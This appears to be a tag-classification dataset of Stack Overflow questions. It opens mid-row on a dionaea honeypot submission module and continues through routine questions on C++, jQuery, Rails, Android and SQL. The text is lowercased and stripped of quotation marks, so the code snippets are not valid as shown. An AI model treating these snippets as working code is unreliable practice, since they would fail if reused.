= submithttp_report(i.sha512  i.md5  icd.file)          if hasattr(icd   con ):             i.source_host = icd.con.remote.host             i.source_port = str(icd.con.remote.port)             i.target_host = icd.con.local.host             i.target_port = str(icd.con.local.port)             mr.saddr  mr.sport  mr.daddr  mr.dport = i.saddr  i.sport  i.daddr  i.dport         if hasattr(icd   url ):             i.download_url = icd.url             mr.download_url = icd.url          i._callback =  dionaea.modules.python.submithttp.result          i._userdata = cookie          self.cookies[cookie] = mr         i.report()      # handle agains in the same way     handle_incident_dionaea_download_complete_again = handle_incident_dionaea_download_complete_unique      def handle_incident_dionaea_modules_python_submithttp_result(self  icd):         fh = open(icd.path  mode= rb )         c = fh.read()         logger.info( submithttp result: {0} .format(c))          cookie = icd._userdata         mr = self.cookies[cookie]          # does backend want us to upload          if b unknown  in c or b s_filerequest  in c:             i = incident( dionaea.upload.request )             i._url = self.backendurl              i.sha512 = mr.sha512h             i.md5 = mr.md5h             i.email = self.email             i.user = self.user             i.password = self.password              i.set( file://data   mr.filepath)              i.source_host = mr.saddr             i.source_port = mr.sport             i.target_host = mr.daddr             i.target_port = mr.dport             i.download_url = mr.download_url              i._callback =  dionaea.modules.python.submithttp.uploadresult              i._userdata = cookie              i.report()      def handle_incident_dionaea_modules_python_submithttp_uploadresult(self  icd):         fh = open(icd.path  mode= rb )         c = fh.read()         logger.info( submithttp uploadresult: {0} .format(c))          del self.cookies[icd._userdata] </code></pre>   when the honeypot call this module the following error appears:   <pre><code>nameerror at nameerror( global name  submithttp_report  is not defined  ) [11022011 00:27:30] python module.c:984: /opt/dionaea/lib/dionaea/python/dionaea/submit_http.py:57 in handle_incident_dionaea_download_complete_unique [11022011 00:27:30] python module.c:985:     mr = submithttp_report(i.sha512  i.md5  icd.file) [11022011 00:27:30] python module.c:984: binding.pyx:975 in dionaea.core.c_python_ihandler_cb (binding.c:8605) </code></pre>   thanck you guys!,python
android: imageswitcher  how do i use the imageswithcer to load picture from my website    i mean  do i need to send images as binary   or can i use imageswitcher on urls on the pictures,android
increase the speed of my code  i have created the code below  it takes a series of values   and generates 10 numbers between x and r with an average value of 8000    in order to meet the specification to cover the range as well as possible  i also calculated the standard deviation  which is a good measure of spread. so whenever a sample set meets the criteria of mean of 8000  i compared it to previous matches and constantly choose the samples that have the highest std dev (mean always = 8000)   <pre><code>def node_timing(average_block_response_computational_time  min_block_response_computational_time  max_block_response_computational_time):     sample_count = 10     num_of_trials = 1      # print average_block_response_computational_time     # print min_block_response_computational_time     # print max_block_response_computational_time      target_sum = sample_count * average_block_response_computational_time     samples_list = []     curr_stdev_max = 0     for trials in range(num_of_trials):         samples = [0] * sample_count         while sum(samples) != target_sum:             samples = [rd.randint(min_block_response_computational_time  max_block_response_computational_time) for trial in range(sample_count)]         # print ( mean:    st.mean(samples)   std dev:    st.stdev(samples)  )         # print (samples   \n )         if st.stdev(samples) &gt; curr_stdev_max:             curr_stdev_max = st.stdev(samples)             samples_best = samples[:]         return samples_best[0] </code></pre>   i take the first value in the list and use this as a timing value  however this code is really slow  i need to call this piece of code several thousand times during the simulation so need to improve the efficency of the code some how     anyone got any suggestions on how to,python
query based on multiple columns  i have a data table with health premium rates that depend on age  gender  and zip code.  i want to create a query that gives me just the lowest price premium by a particular plan name/gender/zipcode combo.    example  what s the lowest price rate    <pre><code>   zip           gender      age    lowest_price_rate    ======================================================    10001           f         90                 90210           m         65              </code></pre>,sql
string hexa-binary (java) <pre><code>    public class try{         public static void main(string args[]){             string hex= 11000010111100001001111010111000 ;              string hexabin=  ;                 for (int i = 0; i &lt; hex.length(); i+=4) {                     string str = hex.substring(i  i+4);                     if (str== 0000 )                         hexabin+=  0 ;                     else if (str== 0001 )                         hexabin+= 1 ;                     else if(str== 0010 )                         hexabin+= 2 ;                     else if(str== 0011 )                         hexabin+= 3 ;                     else if(str== 0100 )                         hexabin+= 4 ;                     else if(str== 0101 )                         hexabin+= 5 ;                     else if(str== 0110 )                         hexabin+= 6 ;                     else if(str== 0111 )                         hexabin+= 7 ;                     else if(str== 1000 )                         hexabin+= 8 ;                     else if(str== 1001 )                         hexabin+= 9 ;                     else if(str== 1010 )                         hexabin+= a ;                     else if(str== 0000 )                         hexabin+= b ;                     else if(str== 1100 )                         hexabin+= c ;                     else if(str== 1101 )                         hexabin+= d ;                     else if(str== 1110 )                         hexabin+= e ;                     else if(str== 1111 )                         hexabin+= f ;                  }                    system.out.println(hexabin);             }         } </code></pre>   i have a string containing binary numbers. i need to convert it to hexadecimal without using any built in function. i tried these codes but it wont run. i don t know why.      when i run it  it gets terminated. what s the problem with these codes.,java
simple objective c question: how can i get access to a variable from other class   it is my myname.h:   <pre><code>#import &lt;foundation/foundation.h&gt;   @interface myname : nsobject {     nsstring *myname;  }  @property(readwrite) nsstring *myname;   @end </code></pre>   and this is the .m:   <pre><code>#import  myname.h    @implementation myname  @synthesize myname;  @end </code></pre>   it is my another controller.m   <pre><code>#import  myname.h  #import  mainviewcontroller.h   @implementation mainviewcontroller  - (void)viewdidload {     self.myname = @ my name is peter ; }  ......   @end </code></pre>   and i get the request for member  myname  in something may a structure or union error. wt s happen,objective-c
use of random() and randomize() in c++  please explain me how the code i am providing gives the output as :    1 2 3 4 5 6 7 8 9 10 11   <pre><code>#include&lt;stdlib.h&gt; #include&lt;iostream.h&gt;  int main() {    randomize();    int num  rndnum;     cin &gt;&gt; num;     rndnum = random(num) + 7;    for (int n =1; n&lt;=rndnum; n++)          cout &lt;&lt; n &lt;&lt;  ; } </code></pre>   please explain me this code snippet,c++
convert iorderedenumerable back to custom list<t>  how do i convert    <code>public class mycustomlist: list&lt;mycustomlist&gt;</code>    back to <code>mycustomlist</code> after ordering     <code>mycustomlistobject = mycustomlistobject.orderby(...);</code>    i tried <code>.tolist() as mycustomlistobject</code> which returns null. what should i do,c#
display dates between two dates  i have a form that the user should fill two dates.i want to display dates between those selected dates like   <pre><code>  june 11   june 12   june 13   june 14   june 15   jun  16   jun  17 </code></pre>   in my action.php   <pre><code>$dateto = $r-&gt;getparameter( date_to   date( y-m-d )); $datefrom = $r-&gt;getparameter( date_from   date( y-m-d   strtotime( 7 days ago   strtotime($dateto))));  $daterange = new dateperiod(datetime::createfromformat( y-m-d  $dateto)  new dateinterval( p1d )  datetime::createfromformat( y-m-d  $datefrom)); </code></pre>   then in my templates  i tried   <pre><code>foreach $daterange as $date {echo $date} </code></pre>   whats the correct way to display those date  var_dump outputs like   <pre><code> object(dateperiod)[62]  public  start  =&gt;   object(datetime)[21645]   public  date  =&gt; string  2015-05-20 16:56:21  (length=19)   public  timezone_type  =&gt; int 3   public  timezone  =&gt; string  asia/manila  (length=11)  public  current  =&gt; null  public  end  =&gt;   object(datetime)[21656] </code></pre>   and i tried   <pre><code>&lt; php foreach($daterange as $r): &gt; &lt; php echo $r-&gt;format( y-m-d )  &gt; &lt; php endforeach  &gt; </code></pre>   but nothing displayed in my table,php
objective-c can t tell where the instances of pointers are coming from  i m a newb for objective-c...hopefully the terminology in the title is correct...but anyhow. i am following a tutorial and was a bit confused where instances of certain pointers were showing up. i never saw them explicitly defined  and then later the tutorial would modify them. for an example  look below (i tried to include only the necessary code. i put stars <em>*</em> next to the lines that i am confused by the most. basically i m not understanding where <code>_meta</code> and <code>_hud</code> are coming from and how i can call methods from them. i guess i would be less confused if they were <code>hud</code> and <code>meta</code>  without the <code>_</code>). thanks  sorry if it s an amateur question.    <pre><code>@interface playgamelayer()  @property (strong) cctmxlayer *meta; @property (strong) hudlayer *hud;  @end  +(ccscene *) scene {     ccscene *scene = [ccscene node];     playgamelayer *layer = [playgamelayer node];     [scene addchild: layer];     hudlayer *hud = [hudlayer node];     [scene addchild:hud];     layer.hud = hud;      return scene; }  -(id) init {     if( (self=[super init]) ) {      ....      self.meta = [_tilemap layernamed:@ meta ];     _meta.visible = no; **********************************************      ....       }     return self; }  -(void)setplayerposition:(cgpoint)position {     cgpoint tilecoord = [self tilecoordforposition:position];     int tilegid = [_meta tilegidat:tilecoord];     if (tilegid){         nsdictionary *properties = [_tilemap propertiesforgid:tilegid];         if (properties){             nsstring *collectible = properties[@ collectable ];             if (collectible &amp;&amp; [collectible isequaltostring:@ true ])             {                 [_meta removetileat:tilecoord]; ****************************************                 self.numcollected++;                 [_hud numcollectedchanged:_numcollected];*********************************             }         }     }      _player.position = position; }   @implementation hudlayer {     cclabelttf *_label; }  - (id)init {     self = [super init];     if (self) {         ....      }     return self; }  @end </code></pre>,objective-c
how to merge two different select query in sql  1st query:   <pre><code>select orders.order_id account.username      from account        left join orders on orders.account_id=account.account_id </code></pre>   2nd query:   <pre><code>select items.item_name     from order_items     left join items on items.item_id=order_items.item_id </code></pre>,mysql
remaking this loop by user   i m wondering if theres a best practice for what i m trying to accomplish...    first we have the model categories  categories  has_many posts.    now lets say  users add posts.   <hr>   now  i have a page  that i want to display only the current user s posts by category.   <hr>   lets say we have the following categories: a  b  and c    user 1  has posted in categories a and b.   <hr>   in my view i have something like:   <pre><code>&lt;% @categories.select {|cat| cat.posts.count &gt; 0}.each do |category| %&gt;   &lt;%= category.name %&gt;&lt;br/&gt;   &lt;% category.posts.select {|post| post.user == current_user}.each do |post| %&gt;     &lt;%= post.content %&gt;&lt;br/&gt;   &lt;% end %&gt; &lt;% end %&gt; </code></pre>   for the most part its almost there. the issue is  it will still show an empty category if any posts have been entered in it at all (even if the current user has not input posts into that category.    so the question boils down to:    how do i make the following loop only count posts in the category from the current user     0}.each do |category| %>   best  elliot,ruby-on-rails
how to add subview programmatically behind storyboard sub view  i have <code>uiviewcontroller</code> which set top storyboard and having few subviews in storyboard. and i want to add a <code>uiimageview</code> programmatically and set it as a background view. so if i add a <code>uiimageview</code>  storyboard subviews are not visible.    <blockquote>    how can i send this <code>uiimageview</code> behind all the storyboard subviews   </blockquote>   thanks,ios
why are my div s not appearing at all  - no css/js  i have an issue where 2/4 div s are not appearing at all in the markup when the page loads in the browser. there isn t any script/css involved here at all.    i have tried to isolate my markup by creating a fiddle and then trying but still can t figure out what s wrong. i have run the markup through a html lint as well just to be sure.    here s my markup    <pre><code>&lt;div class= form-group &gt;   &lt;label class= col-sm-2 control-label &gt;subnet&lt;/label&gt;   &lt;div class= col-sm-4 &gt;     &lt;select class= form-control  /&gt;   &lt;/div&gt; &lt;/div&gt; &lt;div class= form-group &gt;   &lt;label class= col-sm-2 control-label &gt;type&lt;/label&gt;   &lt;div class= col-sm-4 &gt;     &lt;select class= form-control  /&gt;   &lt;/div&gt; &lt;/div&gt; &lt;div class= form-group &gt;   &lt;label class= col-sm-2 control-label &gt;team&lt;/label&gt;   &lt;div class= col-sm-4 &gt;     &lt;select class= form-control  /&gt;   &lt;/div&gt; &lt;/div&gt; &lt;div class= form-group &gt;   &lt;label class= col-sm-2 control-label &gt;machine type&lt;/label&gt;   &lt;div class= col-sm-4 &gt;     &lt;select class= form-control &gt;&lt;/select&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   and the fiddle is at - <a href= https://jsfiddle.net/zpsygxsq/4/  rel= nofollow noreferrer >https://jsfiddle.net/zpsygxsq/4/</a>    can someone take a look and advise,html
how to make an os cpu/process scheduler  <strong>here is my assignment:</strong> in this subproject you are charged to design and implement a ready queue (rq) to support a scheduler subsystem of an os. the rq must be designed as a ‘priority’ queue  which is governed by the fifo policy. write a scheduler class to manage this queue – scheduling processes from the queue. assume that the queue length is unknown from the start when the computer system is booted  or turned on. processes get enqueued and dequeued depending on their assigned priority numbers  which are randomly generated.  the priority order of the queue is always preserved. the processes are executed on a virtual cpu (object) for a random-execution time when dequeued by the scheduler from the rq. write a cpu class that has one member function  ‘execute ’ which simply gets called to execute the process. write a process class that generates ‘processes’ at random time intervals  and calls the scheduler object to enqueue the processes. the entire logic of this virtual cpu’s ‘execute’ function is to simply set a time-counter for each process with the random-execution time when it is dequeued/called by the scheduler object. balance the number of processes-generated and processes-executed using the poisson/exponential distribution functions (as you generate the random numbers). the times to generate process arrivals and scheduling are mutual exclusive  and random.    test the ‘simulator’ for 1000 runs.    essentially i need to make a linked list (the ready queue) and 3 classes...1 class scheduler which will add  processes  to the rq  2 class cpu that will  execute  the process on the rq and finally 3rd class called processor that creates the  processes      i m lost in the fact  that i m not sure what the  processes  i m supposed create are  and how the classes will interact with each other. any help would be apprieciated.,c++
javascript update parent html  i m trying to update the innerhtml of a div tag that s within the parent window from within an iframe.  how do i access the parent window,javascript
using a normal function f(x) in python  i want to use a function f(x) in python. something like ax^2 + bx + c (polynomials). i want to do that using a for loop and a list. this is what i have so far:   <pre><code>def f(a x):     for i in range (0  len(a)):         i = ([a]*x**i)     print (i) </code></pre>   for example: when i fill in <code>f([5 2 3] 5)</code> i have to get: 3*5^0 + 2*5^1 + 5*5^2. does somebody know how i can change my code so the output will be the result of that polynomial,python
copying text with syntax coloring from notepad++ to html  i know about plugins/nppexport section in notepad++. it completely works for copying from np++ to word documents and somewhere else like it.    but how about to a html page  i want to show some code examples on my page with syntax highlighting. if possible  directly from np++ a way that codes can be copied.     edit: thanks everybody  i have found it. if someone else needs: <a href= https://highlightjs.org/usage/  rel= nofollow noreferrer >https://highlightjs.org/usage/</a>,html
java swing layout issue  i added child panel to parent panel by using  method  parent.addtab(child)  and added one jlabel in the child panel but setbounds method is not working in child panel. this jlabel is getting showed at one fix location. setbounds is working fine in parent panel. what to do,java
how to get get records based on multiple columns from a table  consider the following table.    <a href= https://i.stack.imgur.com/iayvq.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iayvq.jpg  alt= enter image description here ></a>    from the above table i want to select the middle bfs_score per ln_loan_id and br_id. there are some ln_loan_id with single score.    as an example for the above table the output i need is as below.    <a href= https://i.stack.imgur.com/vyp3d.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vyp3d.jpg  alt= enter image description here ></a>    please let me know how this can be achieved.,sql
how to make multiple dropdown with same data but different selected values in angularjs  i am beginner in angular js. i am doing a project on angular js on my own.    i need to make four dropdown which displays name of places. all the dropdown will have the same data.    condition is when user will select one place in any of dropdown then that place should disappear from remaining dropdowns.    i made the loop in my template. and also set the number of dropdown to be displayed.    but i am not able to set unique ng-model for each dropdown using $index.    is there any way to achieve this     below is my template code:   <pre><code>&lt;div ng-repeat= i in getdestinations(numberofdestinations) track by $index &gt;         &lt;label&gt;destination-{{$index+1}}&lt;/label&gt;         &lt;select ng-model= dest[i]  ng-change= check() &gt;             &lt;option value= none &gt;please select&lt;/option&gt;             &lt;option ng-repeat= destination in destinations1  value= {{destination.name}} &gt;{{destination.name}}&lt;/option&gt;         &lt;/select&gt; &lt;/div&gt; </code></pre>   below is my controller code where i am setting the number of dropdown to be displayed:   <pre><code>$scope.numberofdestinations = 4;  $scope.getdestinations = function(num){     return new array(num); } </code></pre>,angularjs
can i select three ids with a shorter jquery script   i believe there is some better way for selecting these three ids from a dropdown-list (id 115  116 and 117):   <pre><code>jquery(document).ready(function($) {     var usednames = {};     $( select[name= item_meta[115] ] &gt; option ).each(function () {         if(usednames[this.text]) {             $(this).remove();         } else {             usednames[this.text] = this.value;         }     });      var usednames = {};     $( select[name= item_meta[116] ] &gt; option ).each(function () {         if(usednames[this.text]) {             $(this).remove();         } else {             usednames[this.text] = this.value;         }     });      var usednames = {};     $( select[name= item_meta[117] ] &gt; option ).each(function () {         if(usednames[this.text]) {             $(this).remove();         } else {             usednames[this.text] = this.value;         }     }); }); </code></pre>   can i make this code shorter  and have all the ids selected under the first variable,jquery
open/write a file that is already opened by another app in readonly mode  i am using visual studio 2012 with c++ and am encountering the following problem:     i have a 3rd party app that runs constantly in the background and outputs to a text file whenever an event occurs. i want to use another app (the one i am working now) to place a timestamp to the file (say every 5 secs) so that i know approximately when the event occurs. the event occurs randomly and infrequently.     i am using the createfile and writefile functions but writefile will give me an error because it doesn t have write permission. i am wondering if there is a way to ignore this write permission and just write to the file regardless. i know that this is not safe but is it possible,c++
angularjs 1  passing value of button  probably a very simple question  but i can t seem to find an answer that works. i m trying to pass the <code>{{data}}</code> inside a button on click through a function  <code>revealnumbers</code>.   <pre><code>&lt;button class= select  ng-click= revealnumbers(firstnumber) &gt;{{firstnumber}}&lt;/button&gt; &lt;button class= select  ng-click= revealnumbers(secondnumber) &gt;{{secondnumber}}&lt;/button&gt; </code></pre>   controller:    <pre><code>            $scope.revealnumbers = function(num) {                  $scope.result = num                 console.log($scope.result)          var randominteger = (getrandomint(1  2)) if (randominteger==2) {             $scope.firstnumber = 5             $scope.secondnumber = 10         } else if ( randominteger ==1) {             $scope.firstnumber = 3             $scope.secondnumber = 8         }         } </code></pre>   i get <code>undefined</code> in the console. any help greatly appreciated. thank you!,angularjs
create <div> and append <div> dynamically  i am trying to create a <code>&lt;div&gt;</code> dynamically  with an appended <code>&lt;div&gt;</code> inside. i have this so far which works:   <pre><code>var idiv = document.createelement( div ); idiv.id =  block ; idiv.classname =  block ; document.getelementsbytagname( body )[0].appendchild(idiv); </code></pre>   i am just having trouble creating and appending the second div to the first div.    i essentially want to do this as the final markup:   <pre><code>&lt;div id= block  class= block &gt;    &lt;div class= block-2 &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>,javascript
use jquery to lift element value then return item from array and update another element  i have a select element...   <pre><code>&lt;select name= tour  id= tour &gt; &lt;optgroup label= tour &gt; &lt;option value= 0  selected= selected &gt;please select tour&lt;/option&gt; &lt;option value= tour1 &gt;tour1&lt;/option&gt; &lt;option value= tour2 &gt;tour2&lt;/option&gt; &lt;/optgroup&gt; &lt;/select&gt; </code></pre>   i have an array...   <pre><code>&lt; php $array = array(tour1=&gt;100 tour2=&gt;200);  &gt; </code></pre>   i have a field element...   <pre><code>&lt;input type= text  size= 5  id= distance  readonly= readonly  name= distance  value=   class= value  /&gt; </code></pre>   i m looking to set up a jquery script that looks for a change in the value in the select element  tour   searches for it in my array  returns the associative value  and writes it to the value of my input field  distance .    desired output: when tour1 is selected  text input field  distance  will show 100.,jquery
remove array item and updating array index  how would i go about removing an array item from an array in a way that keeps the array index in an incremental list     basically i want to do this:    modify the following array so that it results in the next one   <pre><code>#before arrayname[0] =  asdf random text  arrayname[1] =  more randomasdf  arrayname[2] =  this is the array item i am about to remove  arrayname[3] =  another asdfds  arrayname[4] =  and som easdf   #after arrayname[0] =  asdf random text  arrayname[1] =  more randomasdf  arrayname[2] =  another asdfds  arrayname[3] =  and som easdf  </code></pre>   notice how arrayname[2] from the #before array is gone in the #after array and the index has been reordered so that arrayname[3] from the #before array is now arrayname[2].    i want to delete the array item and reorder the array index.    how can i do this efficiently,python
getelement methods not working in gmail  for some reason  getelementbyid() and getelementsbyclassname() cannot locate many of the elements on gmail. for example  the div entitled  mail  on the navigation bar has the code:   <pre><code>&lt;div id= :qy  class= z9 z8 t2 &gt;&lt;span class= is &gt;mail&lt;/span&gt;&lt;div class= ww4jzd &gt;&lt;/div&gt;&lt;/div&gt; </code></pre>   yet running <code>document.getelementbyid( :qy )</code> in the chrome console doesn t find it. what am i missing,javascript
recursive printing issue in c++  i am running into what i believe is a recursive issue which i do not know how to resolve. i am designing a hashed array tree structure and i want to print out the  lowest level  in the hashed array tree. i have an array which keeps track of how many nodes are on each level  and i can calculate the lowest level based on this. here is the code:   <pre><code>template &lt;typename t&gt; ostream &amp;operator &lt;&lt; ( ostream &amp;output  const hashnode&lt;t&gt; &amp;node ){ if(node.stemnode == 0){   //leafnode                                                                                                                                                                       for(int i=0; i &lt; node.numelements; i++){      output &lt;&lt;  \n-------------------------------------------  &lt;&lt; endl;     output &lt;&lt;  this node s level:   &lt;&lt; node.nodelevel &lt;&lt; endl;     output &lt;&lt;  \nkey:   &lt;&lt; node.keyarray[i] &lt;&lt; endl;     output &lt;&lt;  \ndata:   &lt;&lt; *(node.dataarray[i])  &lt;&lt; endl;   }  }else if (node.stemnode == 1) {   //stem node                                                                                                                                                                       for(int j=0; j&lt;5; j++){     if(node.childarray[j] != null){       output &lt;&lt; *(node.childarray[j]);     }   }  } int ctr = 0; for(int i=8; i&gt;=0; i--){   if(levels[i] == 0){     ctr++;   } } int lowest = 9-(ctr+1); //output &lt;&lt;  \nlowest number of levels:   &lt;&lt; 9-(ctr+1) &lt;&lt; endl;                                                                                                                   return output &lt;&lt;  \n\nlowest level:   &lt;&lt; lowest &lt;&lt;     &lt;&lt; ctr2 &lt;&lt; endl; } </code></pre>   what happens is that when i print out output  the phrase  lowest level  will print out multiple times. i believe this occurs because i traverse my tree recursively. i tried to overcome this by just saving the  lowest level  value to a variable as shown above  but this did not solve the problem. the line continues to print multiple times. is there a way to overcome this,c++
disabling and enabling textbox based on selection of radiobutton but it s working once again i click for enable it s not working please help me  this is my view page   <pre><code> &lt;script type= text/javascript &gt;     $(function () {         $( #b_stoptube ).change(function () {             if ($(this).is( :checked ))             {                 $( #dub_stoptubelength ).prop( disabled   true);             }             else              {                 $( #dub_stoptubelength ).removeprop( disabled );             }         })     });   &lt;/script&gt;      &lt;td&gt;         @html.radiobuttonfor(model =&gt; model.b_stoptube  false)&amp;nbsp;no     &lt;/td&gt;     &lt;td align= left &gt;         @html.radiobuttonfor(model =&gt; model.b_stoptube  false)&amp;nbsp;yes     &lt;/td&gt;     &lt;td&gt;         @html.textboxfor(model =&gt; model.dub_stoptubelength)     &lt;/td&gt;​ </code></pre>   and this my model:   <pre><code>    public bool b_stoptube { get; set; }     public double dub_stoptubelength { get; set; } </code></pre>   it s working at first time if i change the selection of radiobutton it s not enabling textbox.i am not getting idea how to solve this problem please help me...i am a new mvc programmer...,jquery
subscribed event not firing due to null reference  i am getting null reference error in the topickedimage method and i dont understand why that is. anyone can help me in explaining why i am reciving this error.    any and all help will be appreciated!    code as follows:   <pre><code>public partial class owngui : usercontrol {     private string m_id;     private int m_value;      public event eventhandler&lt;gameeventargs&gt; pickedimage;      public owngui()     {         initializecomponent();     }      public owngui(string id  int value)     {         initializecomponent();         m_id = id;         m_value = value;                     gameeventargs image = new gameeventargs(m_id  m_value);         topickedimage(image);             }      public void topickedimage(gameeventargs e)     {         if (pickedimage != null)          {             pickedimage(this  e);         }     } } </code></pre>   //regards,c#
iphone:how to get real ads showing in iads banner in iphone application   i have integrated iads in my ios 4.0 application developed using the following tutorial: <a href= http://www.raywenderlich.com/1371/how-to-integrate-iad-into-your-iphone-app  rel= nofollow noreferrer >http://www.raywenderlich.com/1371/how-to-integrate-iad-into-your-iphone-app</a>    currently it is showing only test banner page. i would like to know how would i get real ads showing there and what is the procedure to get it. i couldn t find any help on this. could someone please point me out      thank you.,iphone
get variable from mainactivity in onhandleintent  i´m pretty new in android. i have made communication between two apps with broadcastreceiver and intentservices . the thing is  i want to send information to the app2 from app1. in app1 i need to access a variable which is in mainactivity.class   i need to send it to servicev.class (the service where the intent is handled) but the variable  res  is null when i access it  why does that happen  (app2 calls app1 onhandleintent and it breaks in res.getotp() )  i try to create an extra setter getter class and also an intent but getintent() does not work inside onhandleintent... how can i achieve to pass res.getotp (string)   i really dont want to use sqlite    servicev:   <pre><code>public class servicev extends intentservice {     private static final int result_ok = 1;     protected resultreceiver mreceiver;       public servicev() {          super( yeah );       }      @override     protected void onhandleintent(intent intent) {  //i receive here the intent from app2 and i need to response with res.getotp()  helper h = new helper();             string val = intent.getstringextra( foo );         intent in = new intent( com.banorte.bem.movil.veritoken.sendbroadcast );         in.putextra( resultcode   this.result_ok);         in.putextra( resultvalue    my result value. passed in:   + h.getres().getotp());    //h here is null... setter and getter approach does not work... maybe sqlite could work but it is necesary           sendbroadcast(in);     }   } </code></pre>   mainactivity:   <pre><code>public class mainactivity extends appcompatactivity {         vttokenapi api;     textview textview;     button button;     edittext input;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          androidsetup.getinstance().init(this); helper h = new helper();         api = new vttokenapi( ffffff );         res = api.getstatus();          res.getotp();   //correct value h.setres(res);          setcontentview(r.layout.activity_main);      }   } </code></pre>   helper:   <pre><code>public class helper {   public vtresult getres() {             return res;         }          public void setres(vtresult res) {             this.res = res;         }          vtresult res;  } </code></pre>,android
nomethoderror  undefined method `email  for nil:nilclass   i am having an issue with the below code in one of my views:   <pre><code>&lt;% @blog.comments.each do |comment| %&gt; &lt;h3&gt;&lt;%= comment.user.email %&gt;&lt;/h3&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   which is producing an error:   <pre><code>nomethoderror in blogs#show ... undefined method `email  for nil:nilclass </code></pre>   the below code however works without error:   <pre><code>&lt;% @blog.comments.each do |comment| %&gt; &lt;%= comment.body %&gt; &lt;% end %&gt; </code></pre>   comment is declared as:   <pre><code>class comment &lt; activerecord::base   belongs_to :blog   belongs_to :user end </code></pre>   and the email attribute is accessible in another view as:   <pre><code>&lt;% @users.each do |user| %&gt;   &lt;tr&gt;     &lt;td&gt;&lt;%= link_to user.username  user %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= user.email %&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; </code></pre>   to me it looks like <strong>comment.user</strong> isn t being recognised as an instance of user model. what am i doing wrong,ruby-on-rails
is it possible in c++ to declare an attibute in the body   is it possible in c++ to declare an attibute in the body  that is  the .cpp file,c++
how to get images for only that data for which images are downloaded from the url  how to get images for only that data for which images are downloaded from the url.please help for getting this   <pre><code>if(image) {     cgfloat ox = (([[uiscreen mainscreen]bounds].size.width) -200)/3;     uiimageview *iview = [[uiimageview alloc]initwithframe:cgrectmake(ox  yvalue  200  height+80)];     [utility getandsaveimagesforurl:str];      [iview setimage:image];     [self.scrollinfo addsubview:iview];     [iview release];     yvalue = yvalue + height+90;   } else {     [utility getandsaveimagesforurl:str];     uilabel * locationlabel = [[uilabel alloc]initwithframe:cgrectmake(3  yvalue  width  height+7)];     [locationlabel setfont:[uifont boldsystemfontofsize:15.0f]];     locationlabel.font=[uifont systemfontofsize:20.0f];//kashif     [locationlabel setbackgroundcolor:[uicolor clearcolor]];     locationlabel.text = info.location;     locationstr = info.location;     [locationlabel settextcolor:[uicolor colorwithred:66.0/255.0f green:182.0/255.0f blue:241.0/255.0f alpha:1.0]];     [self.scrollinfo addsubview:locationlabel];     [locationlabel release];     yvalue = yvalue + height+7; } </code></pre>,ios
background-image transition not working on firefox  i am trying to create a logo transition with css however it only works in chrome and not ff or even ie so what should i do      my css   <pre><code>.logo {     -moz-transition: all 0.5s ease;     -ms-transition: all 0.5s ease;     -o-transition: all 0.5s ease;     -webkit-transition: all 0.5s ease;     transition: all 0.5s ease;     background-image: url(../images/text.enter.png);     border-style: none;     height: 70px;     left: 50%;     margin-left: -138.5px;     margin-top: -35px;     position: absolute;     top: 50%;     width: 277px; }  .logo:hover { background-image: url(../images/logo.png); } </code></pre>,css
ruby on rails drop down box beginner lvl  so i am a beginner in ror  like i know it for a month (school assignment and we don t get a cursus we need to use  google )    so i want a dropdown box with a list of all my cities. then if i pick a city i need to save the city_id in my database together with the date. the code i have so far seem to work except when i click on save it says that city is empty (and it can t be empty because of the failsave)    this is my code   <pre><code>    &lt;div class= field &gt;     &lt;%= f.label :stad_id %&gt;&lt;br /&gt;     &lt;% cities_array = stad.all.map { |stad| [stad.naam  stad.land] } %&gt;     &lt;%= select_tag(stad  options_for_select(cities_array))  %&gt;       &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.label :datum %&gt;&lt;br /&gt;     &lt;% datum = time.now.to_s(:db) %&gt;     &lt;%= f.text_field :datum  :value =&gt; datum.inspect  :readonly =&gt; true %&gt;   &lt;/div&gt;   &lt;div class= actions &gt;     &lt;%= f.submit %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   i don t really know what i am doing wrong except i have an eery feeling i don t actually give the command to save it.    help is much thanked sincerely robin,ruby-on-rails
fixed tumblr heading   so this is the first theme i ve  made  and i m not amazing with code. my vision for this theme is a header with the title and links  and footer with the description  and the posts with no margins in a grid in the middle. i have everything where i want it to be  and i know how to fix the text (keep it from scrolling away with the posts)  but i don t know how to add the background  because right now you can t see the text through the posts. i want a white bar to stay behind the header and footer at all times so that you can see the text in the header and footer at all times. i ve tried so many different codes  i ve even looked at the codes of other themes that have this sort of effect and copied parts of it to emulate it  but nothing has worked. if you need an example of what i want  picture a header and footer like <a href= http://adventurepremium.tumblr.com/  rel= nofollow >this</a> fixed header with my blog (my url is allapologys). please help me  this is drving me crazy!!    i feel really really stupid  but i made one of those jsfiddle things but is says to the link in my post  i need to put in code  what code should i put in  surely not the whole thing  right  ugh i m an idiot  i know. please don t make fun of me :p.,css
run-time check failure #2 - stack around the variable  d  was corrupted  this is an fcfc simulator program made using c.  i am getting this certain error  run-time check failure #2 - stack around the variable  d  was corrupted.  after i am finish entering all inputs for each process.  what am i doing wrong    <pre><code>void getdata() {        char d;     printf( enter the number of process:  );     scanf( %d  &amp;n);      printf( \ndo you need to enter the arrival time of process [y/n]:  );     scanf( %s  &amp;d);     printf( \n );      for(int i=0; i&lt;n; i++)     {         printf( *******************************************\n );         printf( enter the %d process burst time:   i+1);         scanf( %d  &amp;b[i]);         if(d== y  || d== y )         {                 printf( enter the %d process arrival time:   i+1);                 scanf( %d  &amp;a[i]);         }         else         {                 a[i]=0;         }     } } </code></pre>,c
adding integers together in c but not mathematically  how would one go about adding integers together like this.    say you start with 1  then you add 2. so you have 12  next add 3  so you have 123. and so on.    i would just concatenate but i m not allowed to use strings in this program.,c
java jodatime get the current datetime  i am the using the joda library to get the current datetime in java. now i use   <pre><code>datetime dt = datetime.now(); </code></pre>   to get the current date time object. now how can i obtain the current time of the day in non military format,android
